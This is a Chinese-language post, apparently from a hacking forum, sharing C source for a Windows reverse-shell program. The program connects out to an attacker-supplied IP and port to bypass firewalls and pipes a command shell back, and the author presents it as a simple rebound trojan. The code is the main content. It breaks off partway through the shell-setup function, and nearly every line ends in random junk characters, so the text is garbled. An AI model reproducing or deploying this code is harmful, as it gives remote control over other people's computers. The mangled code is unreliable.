这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }0]iS8*tL
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/* ============================== fS p
Rebound port in Windows NT I:1Pz|$`
By wind,2006/7 xpI8QV$#
===============================*/ qHPinxewx
#include n6 wx/:
#include y( UWh4?t
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#pragma comment(lib,"wsock32.lib") !e+Sa{X
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void OutputShell(); W{1l?Wo
SOCKET sClient; 7|
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; + -rSO"nc
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void main(int argc,char **argv)
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{ O2xqNQ`d
WSADATA stWsaData; n^nQrRIp
int nRet; (%G>TV
SOCKADDR_IN stSaiClient,stSaiServer; _qH]OSo
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if(argc != 3) 0^6}s1d_
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printf("Useage:\n\rRebound DestIP DestPort\n"); #c9MVQ_
return; b#n
} U
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4tSh.qBht
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oG-Eac,
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stSaiClient.sin_family = AF_INET; rddn"~lm1
stSaiClient.sin_port = htons(0); 2} _^~8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Sg13Dp@x
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D0Ls~qr
{ Ga`
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printf("Bind Socket Failed!\n"); bPMf='F{r
return; gx2v(1?S
} D'Uc?2X,&
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stSaiServer.sin_family = AF_INET; 2o7o~r
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); BF"eVKA
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M>i *e
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \*pS4vy5x
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printf("Connect Error!"); Psm9hP :m
return; yr)e."#S
} ES#q/yab5
OutputShell(); a, `B.I
} ;a[3RqmKW
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void OutputShell() "V,dH%&j
{ h}}7_I9
char szBuff[1024]; QwuSo{G
SECURITY_ATTRIBUTES stSecurityAttributes; \2Kl]G(w%y
OSVERSIONINFO stOsversionInfo; C*Qx
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TC
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STARTUPINFO stStartupInfo; Rli`]~!w
char *szShell; [?da BXS
PROCESS_INFORMATION stProcessInformation; /q!_f!<q4x
unsigned long lBytesRead; {@Z*.G^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); r)<n)eXeD
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p4K
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stSecurityAttributes.lpSecurityDescriptor = 0; E.yc"|n7l2
stSecurityAttributes.bInheritHandle = TRUE; 2O2d*Ld>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D~TK'&